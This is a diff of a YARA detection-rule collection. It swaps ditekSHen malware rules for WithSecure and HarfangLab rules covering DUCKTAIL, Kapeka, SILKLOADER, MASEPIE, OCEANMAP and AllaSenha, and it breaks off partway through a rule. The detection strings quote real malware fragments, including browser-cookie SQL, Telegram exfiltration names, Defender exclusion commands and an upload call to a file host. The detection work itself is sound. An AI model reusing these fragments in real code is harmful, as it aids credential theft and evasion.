-		$x3 = "rootteam_bot" ascii
-		$x4 = "Root Team" ascii
-		$s1 = "-ldflags=\"-s -w -H windowsgui -X" ascii
-		$s2 = "'RootTeamStl/vars." ascii
-		$s3 = "{ Hostname string \"json:\\\"hostname\\\"\"; EncryptedUsername string \"json:\\\"encryptedUsername\\\"\"; EncryptedPassword string \"json:\\\"encryptedPassword\\\"\" }" ascii
-		$s4 = "\\Program Files (x86)\\Steam\\config\\loginusers.vdf" ascii
-		$s5 = /RootTeamStl\/managers\/(browser|coldwallets|discord|filegrabber|steam|userinformation)?/ ascii
+		$pdb_path_1 = /[a-z]\:\\projects\\(viruttest|virot)\\/i nocase ascii
+		$pdb_path_2 = /[a-z]\:\\users\\ductai\\/i nocase ascii
+		$pdb_path_3 = "\\dataextractor.pdb" nocase ascii
+		$email = "ductai2308@gmail.com" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and (3 of ($x*) or (1 of ($x*) and 3 of ($s*)) or 4 of ($s*) or 5 of them )
+		uint16(0)==0x5A4D and any of them
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Espioloader : FILE
+rule WITHSECURELABS_Ducktail_Nativeaot : FILE
 {
 	meta:
-		description = "Detects Espio loader and obfuscator"
-		author = "ditekSHen"
-		id = "fb2be984-abd6-5f71-b448-d41c9c3e35c5"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10456-L10469"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8ad77a50db48f12e6f6465652b24fc1daa56375bb27e37e0eead1bea55b89e0c"
+		description = "Detects NativeAOT variants of DUCKTAIL malware"
+		author = "WithSecure"
+		id = "1961d3e1-987b-588b-bfc2-8239797cd049"
+		date = "2022-11-17"
+		modified = "2022-11-22"
+		reference = "https://labs.withsecure.com/publications/ducktail_returns"
+		source_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/DUCKTAIL/ducktail_nativeaot.yara#L2-L22"
+		license_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/LICENSE"
+		logic_hash = "976b28ac45e5a13d4ce900b857e6bd3afc82b65b0235791fd698b762287cd60e"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.EspioLoader"
+		version = "1.0"
+		hash1 = "b043e4639f89459cae85161e6fbf73b22470979e"
+		hash2 = "073b092bf949c31628ee20f7458067bbb05fda3a"
+		hash3 = "d1f6b5f9718a2fe9eaac0c1a627228d3f3b86f87"
+
+	condition:
+		uint16(0)==0x5A4D and filesize >15MB and (pe.section_index(".managed")>=0 or pe.exports("DotNetRuntimeDebugHeader")) and pe.exports("SendFile") and pe.exports("Start") and pe.exports("Open")
+}
+rule WITHSECURELABS_Ducktail_Dotnet_Core_Infostealer : FILE
+{
+	meta:
+		description = "Detects DUCKTAIL malware written in .NET Core"
+		author = "WithSecure"
+		id = "22eef7ce-9e11-55ec-9f0b-00a6776f8eee"
+		date = "2022-07-18"
+		modified = "2022-07-25"
+		reference = "https://labs.withsecure.com/publications/ducktail"
+		source_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/DUCKTAIL/ducktail_dotnet_core_infostealer.yar#L1-L103"
+		license_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/LICENSE"
+		logic_hash = "81b4da5860894397e9cd416e451c3098f8560407cd79f070f8edd5a3ba91512a"
+		score = 75
+		quality = 50
+		tags = "FILE"
+		version = "1.0"
+		hash1 = "b260f3857990e11fa267d3f1cad4c9bed59a9d4b"
+		hash2 = "db74863c01817bf4eba39cd8a0ebbce9bda85a37"
+		hash3 = "3a4b395301f61b7e6afc0ab27dc02331455181d0"
 
 	strings:
-		$pdb = /\\loader\\x64\\(Release|Debug)\\Espio\.pdb/ ascii
-		$s1 = "obfuscatedPayload" fullword wide
-		$s2 = "OBFUSCATEDPAYLOAD" fullword wide
-		$s3 = "\\??\\C:\\Windows\\System32\\werfault.exe" fullword wide
-		$s4 = "C:\\windows\\system32\\ntdll.dll" fullword ascii
+		$dotnet_core_bundle_signature = { 8B 12 02 B9 6A 61 20 38 72 7B 93 02 14 D7 A0 32 13 F5 B9 E6 EF AE 33 18 EE 3B 2D CE 24 B3 6A AE }
+		$fb_str_1 = "c_user" wide ascii
+		$fb_str_2 = "https://business.facebook.com/security/twofactor/reauth/enter" wide ascii
+		$fb_str_3 = "https://business.facebook.com/security/twofactor/reauth" wide ascii
+		$fb_str_4 = "mbasic.facebook.com" wide ascii
+		$fb_str_5 = "DTSGInitData\",[],{\"token\":\"" wide ascii
+		$fb_str_6 = "www.facebook.com" wide ascii
+		$fb_str_7 = "m.facebook.com" wide ascii
+		$fb_str_8 = "business.facebook.com" wide ascii
+		$fb_str_9 = "approvals_code=" wide ascii
+		$fb_str_10 = "c_user=" wide ascii
+		$fb_str_11 = "&__a=1&__comet_req=0&fb_dtsg=" wide ascii
+		$fb_str_12 = "&__jssesw=1" wide ascii
+		$fb_str_13 = "approvals_code=" wide ascii
+		$fb_str_14 = "<BmLinks>k__BackingField" wide ascii
+		$fb_str_15 = "set_FbCookies" wide ascii
+		$fb_str_16 = "<AdsAccount>k__BackingField" wide ascii
+		$fb_str_17 = "GetAllFbData" wide ascii
+		$fb_str_18 = "get_account_id" wide ascii
+		$fb_str_19 = "set_BmLinks" wide ascii
+		$fb_str_20 = "GetBmLink" wide ascii
+		$fb_str_21 = "GetBm" wide ascii
+		$fb_str_22 = "ExtractUserId" wide ascii
+		$fb_str_23 = "set_Bussinesses" wide ascii
+		$fb_str_24 = "set_FbData" wide ascii
+		$fb_str_25 = "get_Nguong" wide ascii
+		$fb_str_26 = "ResetCookie" wide ascii
+		$fb_str_27 = "set_UserId" wide ascii
+		$fb_str_28 = "<Nguong>k__BackingField" wide ascii
+		$fb_str_29 = "get_UserId" wide ascii
+		$fb_str_30 = "set_Nguong" wide ascii
+		$fb_str_31 = "AdsBusiness" wide ascii
+		$fb_str_32 = "<FbData>k__BackingField" wide ascii
+		$fb_str_33 = "<FbCookies>k__BackingField" wide ascii
+		$fb_str_34 = "<invite_link>k__BackingField" wide ascii
+		$fb_str_35 = "get_FbData" wide ascii
+		$fb_str_36 = "get_invite_link" wide ascii
+		$fb_str_37 = "get_Bussinesses" wide ascii
+		$fb_str_38 = "GetNguong" wide ascii
+		$fb_str_39 = "set_AdsAccount" wide ascii
+		$fb_str_40 = "set_invite_link" wide ascii
+		$fb_str_41 = "set_AllCookies" wide ascii
+		$fb_str_42 = "get_business" wide ascii
+		$fb_str_43 = "set_business" wide ascii
+		$fb_str_44 = "<Bussinesses>k__BackingField" wide ascii
+		$fb_str_45 = "GetAdsFromToken" wide ascii
+		$fb_str_46 = "get_AdsAccount" wide ascii
+		$fb_str_47 = "get_BmLinks" wide ascii
+		$fb_str_48 = "FbDataScanner" wide ascii
+		$exfil_str_1 = "telegramBotClient_OnUpdate" wide ascii
+		$exfil_str_2 = "telegramHandler" wide ascii
+		$exfil_str_3 = "ZipArchive" wide ascii
+		$exfil_str_4 = "KillItSame" wide ascii
+		$exfil_str_5 = "1.txt" wide ascii
+		$exfil_str_6 = ".zip" wide ascii
+		$exfil_str_7 = "2.txt" wide ascii
+		$browser_str_1 = "GetCookies" wide ascii
+		$browser_str_2 = "get_AllCookies" wide ascii
+		$browser_str_3 = "ChromiumBrowser" wide ascii
+		$browser_str_4 = "myBrowsers" wide ascii
+		$browser_str_5 = "get_CookiePath" wide ascii
+		$browser_str_6 = "ScanFirefox" wide ascii
+		$browser_str_7 = "get_FbCookies" wide ascii
+		$browser_str_8 = "ScanChomium" wide ascii
+		$browser_str_9 = "BrowserScanner" wide ascii
+		$browser_str_10 = "ScanChronium" wide ascii
+		$browser_str_11 = "CookieData" wide ascii
+		$browser_str_12 = "listBrowser" wide ascii
+		$browser_str_13 = "BrowserCookie" wide ascii
+		$browser_str_14 = "<Cookies>k__BackingField" wide ascii
+		$browser_str_15 = "AddCookie" wide ascii
+		$browser_str_16 = "set_CookiePath" wide ascii
+		$browser_str_17 = "Local State" wide ascii
+		$browser_str_18 = "select name, path, expires_utc, is_secure, is_httponly, host_key, encrypted_value  from cookies" wide ascii
+		$browser_str_19 = "Google\\Chrome\\User Data" wide ascii
+		$browser_str_20 = "Microsoft\\Edge\\User Data" wide ascii
+		$browser_str_21 = "Cookies" wide ascii
+		$browser_str_22 = "encrypted_key\":\"" wide ascii
 
 	condition:
-		uint16(0)==0x5a4d and ($pdb or 3 of ($s*))
+		uint16(0)==0x5A4D and $dotnet_core_bundle_signature and ((7 of ($fb_str_*) and (7 of ($browser_str_*) or 3 of ($exfil_str_*))) or (7 of ($browser_str_*) and 3 of ($exfil_str_*)))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Celestybinderloader : FILE
+rule WITHSECURELABS_Kapeka_Backdoor : FILE
 {
 	meta:
-		description = "Detects Celesty Binder loader"
-		author = "ditekSHen"
-		id = "9c3404b7-311c-565d-b0fa-cfa80ba97289"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10471-L10484"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8c9ffd48c9c8cd345dccfb48bcb345282f9978f7cf906a61e2ea81c48486b16d"
+		description = "Detects Kapeka backdoor based on common strings."
+		author = "WithSecure"
+		id = "7b874a4a-a009-5365-9c31-ca61bf5ab491"
+		date = "2024-04-17"
+		modified = "2024-04-17"
+		reference = "https://labs.withsecure.com/publications/kapeka"
+		source_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/Kapeka/kapeka_backdoor.yar#L2-L21"
+		license_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/LICENSE"
+		logic_hash = "49795c6e3f3690eeccd731a9ba0c6bd8d5840d9171939e71d3a4d6f0d1834f05"
 		score = 75
-		quality = 75
+		quality = 25
 		tags = "FILE"
+		version = "1.0"
+		hash1 = "97e0e161d673925e42cdf04763e7eaa53035338b"
+		hash2 = "9bbde40cab30916b42e59208fbcc09affef525c1"
+		hash3 = "6c3441b5a4d3d39e9695d176b0e83a2c55fe5b4e"
 
 	strings:
-		$s1 = "\\DarkCoderSc\\Desktop\\Celesty Binder\\Stub\\STATIC\\Stub.pdb" ascii
-		$s2 = "DROPIN" fullword ascii wide
-		$s3 = "EXEC" fullword ascii wide
-		$s4 = "RBIND" fullword ascii wide
-		$s5 = "%LAPPDATA%" fullword ascii wide
-		$s6 = "%USERDIR%" fullword ascii wide
+		$a = "Azbi3l1xIgcRzTsOHopgrwUdJUMWpOFt" ascii
+		$b = "PID : " wide
+		$c = "ExitCode : " wide
+		$d = "1: " wide
+		$e = "2: " wide
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		pe.is_dll() and filesize >50000 and filesize <500000 and 4 of them
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Blitzgrabber : FILE
+rule WITHSECURELABS_SILKLOADER
 {
 	meta:
-		description = "Detects BlitzGrabber infostealer"
-		author = "ditekSHen"
-		id = "4240527e-c2f8-5424-986a-c1616fafb9bb"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10486-L10505"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "8baceacf3c2af61e00b31e8106820b6f1ce2e7a9d98eaed965e698109ae08314"
+		description = "Detects SILKLOADER samples"
+		author = "WithSecure"
+		id = "bb8a543e-fdbf-5be1-901e-3e2a9965fd62"
+		date = "2023-03-15"
+		modified = "2023-03-15"
+		reference = "https://labs.withsecure.com/publications/silkloader"
+		source_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/SILKLOADER/silkloader.yar#L2-L20"
+		license_url = "https://github.com/WithSecureLabs/iocs/blob/29adc4b6c2c2850f0f385aec77ab6fc0d7a8f20c/LICENSE"
+		logic_hash = "48aa249ea78e5a3bfe9934fd0dfa26b79f9e6cbe1e5b1426b84f8d8a3d77d742"
 		score = 75
-		quality = 71
-		tags = "FILE"
+		quality = 75
+		tags = ""
+		version = "1.0"
+		hash1 = "c83ac6dc96febd49c7c558e8cf85dd8bcb3a84fdc78b3ba72ebf681566dc1865"
+		hash2 = "e4dadabd1cee7215ff6e31e01f6b0dd820851685836592a14f982f2c7972fc25"
+		hash3 = "d77a59e6ba3a8f3c000a8a8955af77d2898f220f7bf3c0968bf0d7c8ac25a5ad"
 
 	strings:
-		$x1 = "**BLITZED GRABBER V" wide
-		$x2 = "\\BlitzedGrabberV" ascii
-		$x3 = "Kyanite" ascii wide nocase
-		$s1 = /;\/\/(SCREENSHOT|PASSWORDS|FORKBOMB|MELTSTUB)\/\// ascii wide
-		$s2 = "KryptedWare" wide
-		$s3 = "chckcopyTemp" wide
-		$s4 = "chckscreenShot" wide
-		$s5 = "Plugin.Banking." ascii
-		$s6 = "sChromiumPswPaths" ascii
-		$s7 = ".CreateDownloadLink(" ascii
-		$s8 = "CaptureScreen()" ascii
-		$s9 = ".UploadFile(\"https://api.anonfiles.com/upload\"" ascii
+		$str1 = {5400520041004e005300460045005200}
+		$str2 = {760062006300630073006200}
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) and 3 of ($s*)) or (7 of ($s*))
+		pe.is_pe and pe.characteristics&pe.DLL and all of them
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Bagle : FILE
+/*
+ * YARA Rule Set
+ * Repository Name: HarfangLab
+ * Repository: https://github.com/HarfangLab/iocs
+ * Retrieval Date: 2024-09-01
+ * Git Commit: 7996830c781be134309ff98ac813c0e073038594
+ * Number of Rules: 17
+ * Skipped: 0 (age), 1 (quality), 0 (score), 0 (importance)
+ *
+ *
+ * LICENSE
+ *
+ * NO LICENSE SET
+ */
+rule HARFANGLAB_Masepie_Campaign_Htmlstarter : FILE
 {
 	meta:
-		description = "Detect Bagle / Beagle email worm"
-		author = "ditekSHen"
-		id = "32632bdf-6cf5-5542-8e1f-70686139a465"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10507-L10523"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4c3a09f10c792de1ab25001da29ea2fee84c583d49d9a5225817644aabde2dea"
+		description = "Detect Malicious Web page HTML file from CERT-UA#8399"
+		author = "HarfangLab"
+		id = "0cca485c-7941-5760-8c24-d993dcbf376d"
+		date = "2024-01-24"
+		modified = "2024-08-27"
+		reference = "TRR240101;https://cert.gov.ua/article/6276894"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L1-L16"
+		license_url = "N/A"
+		hash = "628bc9f4aa71a015ec415d5d7d8cb168359886a231e17ecac2e5664760ee8eba"
+		logic_hash = "d131372c6ad01ae77e5630bae0c0a04ce311718eb1bcf423e6575f3b0ecdba5d"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
+		context = "file"
 
 	strings:
-		$s1 = "SOFTWARE\\DateTime" fullword ascii
-		$s2 = "%s?p=%lu" fullword ascii
-		$s3 = "-upd" ascii
-		$s4 = "[%RAND%]" fullword ascii
-		$s5 = "MAIL FROM:<%s>" fullword ascii
-		$s6 = "RCPT TO:<%s>" fullword ascii
-		$s7 = "Message-ID: <%s%s>" fullword ascii
-		$s8 = "Content-Disposition: attachment; filename=\"%s%s\"" fullword ascii
-		$s9 = "http://www.%s" fullword ascii
+		$s1 = "<link rel=\"stylesheet\" href=\"a.css\">" ascii wide fullword
+		$s2 = "src=\".\\Capture" ascii wide
 
 	condition:
-		uint16(0)==0x5a4d and 8 of them
+		filesize >600 and filesize <5KB and ( all of them )
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Ragestealer : FILE
+rule HARFANGLAB_Masepie_Campaign_Webdavlnk : FILE
 {
 	meta:
-		description = "Detect Rage / Priv8 infostealer"
-		author = "ditekShen"
-		id = "dfc1abaa-d975-5e6a-ad4d-344031b0c40c"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10525-L10540"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a26b86845bcd62d4a360a8dae9cfa56b5d96ebc521f224c18a01cc0a2bd958e9"
+		description = "Detect Malicious LNK from CERT-UA#8399"
+		author = "HarfangLab"
+		id = "de7fd592-e733-52d0-af9b-55adf37eaf74"
+		date = "2024-01-24"
+		modified = "2024-08-27"
+		reference = "TRR240101;https://cert.gov.ua/article/6276894"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L17-L39"
+		license_url = "N/A"
+		hash = "19d0c55ac466e4188c4370e204808ca0bc02bba480ec641da8190cb8aee92bdc"
+		logic_hash = "26075e47b54404c55f4ca5eb757efa2b1711d919de0ffbfbdf6935e2e4dd3f3d"
 		score = 75
-		quality = 75
+		quality = 80
 		tags = "FILE"
+		context = "file"
 
 	strings:
-		$x1 = "\\RageStealer\\obj\\" ascii
-		$x2 = "Priv8 Stealer" wide
-		$s1 = "\\Screen.png" wide
-		$s2 = "Content-Disposition: form-data; name=\"document\"; filename=\"{1}\"" wide
-		$s3 = "NEW LOG FROM" wide
-		$s4 = "GRABBED SOFTWARE" wide
-		$s5 = "DOMAINS DETECTED" wide
-		$s6 = "snder" ascii
+		$a1 = "[system.Diagnostics.Process]::Start('msedge','http" wide nocase fullword
+		$a2 = "\\Microsoft\\Edge\\Application\\msedge.exe" wide nocase fullword
+		$a3 = "powershell.exe" ascii wide fullword
+		$s1 = "win-j5ggokh35ap" ascii fullword
+		$s2 = "desktop-q0f4sik" ascii fullword
 
 	condition:
-		uint16(0)==0x5a4d and (1 of ($x*) and 4 of ($s*))
+		filesize >1200 and filesize <5KB and ( uint16be(0)==0x4c00) and (( all of ($a*)) or ( any of ($s*)))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Abubasbanditbot : FILE
+rule HARFANGLAB_Masepie_Campaign_Masepie : FILE
 {
 	meta:
-		description = "Detects Abubasbandit Bot. Observed to drop cryptocurrency miner detected by MALWARE_Win_CoinMiner02"
-		author = "ditekSHen"
-		id = "8bedd1f7-bd77-5f26-8665-1d23fe56100f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10542-L10559"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "aae40178dadff720b42d211a025fd696eabdcc91761c6a91809f5f088c588c31"
+		description = "Detect MASEPIE from CERT-UA#8399"
+		author = "HarfangLab"
+		id = "f0a034fa-38d4-5c54-b865-f830f85e245e"
+		date = "2024-01-24"
+		modified = "2024-08-27"
+		reference = "TRR240101;https://cert.gov.ua/article/6276894"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L40-L60"
+		license_url = "N/A"
+		hash = "18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6"
+		logic_hash = "02da8119267978e63e3ee5ecdefb52285718f8875ec64d320f2752460c05588d"
 		score = 75
-		quality = 75
+		quality = 78
 		tags = "FILE"
+		context = "file"
 
 	strings:
-		$x1 = "magickeycmd" ascii
-		$x2 = "chat_id" ascii
-		$x3 = "GetTempPathW" ascii
-		$x4 = "Add-MpPreference" ascii
-		$x5 = "-Command" ascii
-		$s1 = "application/x-www-form-urlencoded" ascii
-		$s2 = "gzip, deflate/index.html" ascii
-		$s3 = "powershellAdd-MpPreference -ExclusionPath" ascii
-		$s4 = "tar-xf-C" ascii
-		$s5 = "temp_file.bin" ascii
+		$t1 = "Try it againg" ascii wide fullword
+		$t2 = "{user}{SEPARATOR}{k}" ascii wide fullword
+		$t3 = "Error transporting file" ascii wide fullword
+		$t4 = "check-ok" ascii wide fullword
+		$a1 = ".join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))" ascii wide fullword
+		$a2 = "dec_file_mes(mes, key)" ascii wide fullword
+		$a3 = "os.popen('whoami').read()" ascii wide fullword
 
 	condition:
-		uint16(0)==0x5a4d and ( all of ($x*) or (4 of ($x*) and 2 of ($s*)) or (( all of ($s*) and 3 of ($x*))) or (8 of them ))
+		filesize >2KB and filesize <15MB and (4 of them )
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Oracrat : FILE
+rule HARFANGLAB_Masepie_Campaign_Oceanmap : FILE
 {
 	meta:
-		description = "Detects OracRAT / Comfoo / Babar"
-		author = "ditekSHen"
-		id = "53f3778e-56d5-5390-8ce7-82d4ede46be4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10561-L10575"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "078a5df9f3d0bb8213ea2fe28eefdb453ef186e6c1f62d3ba10cb04fca047700"
+		description = "Detect OCEANMAP from CERT-UA#8399"
+		author = "HarfangLab"
+		id = "7dcbce01-ab91-56ae-8789-e2e25ba1bf8c"
+		date = "2024-01-24"
+		modified = "2024-01-31"
+		reference = "TRR240101;https://cert.gov.ua/article/6276894"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L61-L95"
+		license_url = "N/A"
+		hash = "24fd571600dcc00bf2bb8577c7e4fd67275f7d19d852b909395bebcbb1274e04"
+		logic_hash = "5fe244025f49358b4285e1272489378a46363ae915881dece26691d971aa93f3"
 		score = 75
-		quality = 75
+		quality = 78
 		tags = "FILE"
+		context = "file"
 
 	strings:
-		$s1 = "\\\\.\\DevCtrlKrnl" fullword ascii
-		$s2 = "SOFTWARE\\Microsoft\\IE4\\Setup" fullword ascii
-		$s3 = "\\PLUGINS" fullword ascii
-		$s4 = "\\config\\sam" fullword ascii
-		$s5 = "\\iexplore.exe\" about:blank" fullword ascii
-		$s6 = "usbak.sys" fullword ascii
-		$s7 = "userctfm" fullword ascii
+		$dotNet = ".NETFramework,Version" ascii fullword
+		$a1 = "$ SELECT INBOX.Drafts" wide fullword
+		$a2 = "$ SELECT Drafts" wide fullword
+		$a3 = "$ UID SEARCH subject \"" wide fullword
+		$a4 = "$ APPEND INBOX {" wide fullword
+		$a5 = "+FLAGS (\\Deleted)" wide fullword
+		$a6 = "$ EXPUNGE" wide fullword
+		$a7 = "BODY.PEEK[text]" wide fullword
+		$t1 = "change_time" ascii fullword
+		$t2 = "ReplaceBytes" ascii fullword
+		$t3 = "fcreds" ascii fullword
+		$t4 = "screds" ascii fullword
+		$t5 = "r_creds" ascii fullword
+		$t6 = "comp_id" ascii fullword
+		$t7 = "changesecond" wide fullword
+		$t8 = "taskkill /F /PID" wide fullword
+		$t9 = "cmd.exe" wide fullword
 
 	condition:
-		uint16(0)==0x5a4d and 5 of them
+		filesize >8KB and filesize <100KB and ( uint16be(0)==0x4D5A) and $dotNet and (3 of ($a*)) and (2 of ($t*))
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_Phemedronestealer : FILE
+rule HARFANGLAB_Allasenhamaycampaign_Executorloader
 {
 	meta:
-		description = "Detects Phemedrone Stealer infostealer"
-		author = "ditekSHen"
-		id = "297aab1f-351c-5955-8a19-9aa2b7c94748"
+		description = "Detects Delphi ExecutorLoader DLLs and executables."
+		author = "HarfangLab"
+		id = "0a09414d-cd86-54a4-99e4-121a7df7624b"
 		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10577-L10598"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "74e150cc971f5648f9e3f6146afba162b1a29cf2744c862b2320db52c2efa930"
+		modified = "2024-08-27"
+		reference = "TRR240501"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L96-L114"
+		license_url = "N/A"
+		logic_hash = "61aa0bf180574856e57d0b26442bfa6f4b1e25844611d6eadaed529e1bb86625"
 		score = 75
-		quality = 75
-		tags = "FILE"
+		quality = 55
+		tags = ""
+		context = "file,memory"
 
 	strings:
-		$p1 = /\{ file = \{(0|file)\}, data = \{(1|data)\} \}/ ascii wide
-		$p2 = "{ <>h__TransparentIdentifier0 = {0}, match = {1} }" wide
-		$p3 = "{ <>h__TransparentIdentifier1 = {0}, encrypted = {1} }" wide
-		$p4 = "{<>h__TransparentIdentifier0}, match = {match} }" ascii
-		$p5 = "{<>h__TransparentIdentifier1}, encrypted = {encrypted} }" ascii
-		$s1 = "<KillDebuggers>b__" ascii
-		$s2 = "<ParseExtensions>b__" ascii
-		$s3 = "<ParseDiscordTokens>b__" ascii
-		$s4 = "<IsVM>b__" ascii
-		$s5 = "<Key3Database>b__" ascii
-		$s6 = "masterPass" ascii
-		$s7 = "rootLocation" ascii
-		$s8 = "rgsServiceNames" ascii
-		$s9 = "rgsFilenames" ascii
+		$delphi = "Embarcadero Delphi" ascii fullword
+		$s1 = "\\SysWOW64\\mshta.exe" wide fullword
+		$s2 = "\\System32\\mshta.exe" wide fullword
+		$s3 = "RcDll" wide fullword
+		$default1 = "Default_" wide fullword
+		$default2 = "Default~" wide fullword
 
 	condition:
-		uint16(0)==0x5a4d and (( all of ($p*) and 3 of ($s*)) or (3 of ($p*) and 4 of ($s*)) or (7 of ($s*)))
+		$delphi and all of ($s*) and any of ($default*)
 }
-import "pe"
-
-rule DITEKSHEN_MALWARE_Win_WSHRAT : FILE
+rule HARFANGLAB_Allasenhamaycampaign_Allasenha
 {
 	meta:
-		description = "Detects WASHRAT"
-		author = "ditekSHen"
-		id = "e7940b7f-51dd-5a32-899b-64310f27bf3e"
+		description = "Detects AllaSenha banking trojan DLLs."
+		author = "HarfangLab"
+		id = "787c4e66-2053-5f14-a52e-6b0415700e8c"
 		date = "2024-05-28"
-		modified = "2024-05-28"
-		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L10600-L10618"
-		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "297bfe65815637a464e2a8fc23570c6e79694ffe0467d5898b7c845f1450de95"
+		modified = "2024-08-27"
+		reference = "TRR240501"
+		source_url = "https://github.com/HarfangLab/iocs/blob/7996830c781be134309ff98ac813c0e073038594/hl_public_reports_master.yar#L115-L137"
+		license_url = "N/A"
+		logic_hash = "affe75ade6c8d9eeba00006f78678a48b1cfc5ffa9f9675fdea6ffd6cb3a02bd"
 		score = 75
-		quality = 23
-		tags = "FILE"
+		quality = 80
+		tags = ""
+		context = "file,memory"
 
 	strings:
-		$x1 = "WSH Rat v" wide
-		$x2 = "SOFTWARE\\WSHRat" wide
-		$x3 = "WSH Remote" wide nocase
-		$x4 = "WSHRAT" wide nocase
-		$s1 = "shellobj.regwrite \"HKEY_" ascii nocase
-		$s2 = "shellobj.run(\"%comspec% /c" ascii nocase
-		$s3 = "objhttpdownload.setrequestheader \"user-agent:\"," ascii nocase
-		$s4 = "WScript.CreateObject(\"Shell.Application\").ShellExecute" ascii nocase
-		$s5 = "objwmiservice.ExecQuery(\"select" ascii nocase
-		$s6 = "httpobj.open(\"post\",\"http" ascii nocase
-		$s7 = /(rdp|keylogger|get-pass|uvnc)\|http/ wide
+		$a1 = "<|NOSenha|>" wide fullword
+		$a2 = "<|SENHA|>QrCode: " wide fullword
+		$a3 = "<|SENHA|>Senha 6 : " wide fullword
+		$a4 = "<|SENHA|>Snh: " wide fullword
+		$a5 = "<|SENHA|>Token: " wide fullword
+		$a6 = "<|BB-AMARELO|>" wide fullword
+		$a7 = "<|BB-AZUL|>" wide fullword
+		$a8 = "<|BB-PROCURADOR|>" wide fullword
+		$a9 = "<|ITAU-SNH-CARTAO|>" wide fullword
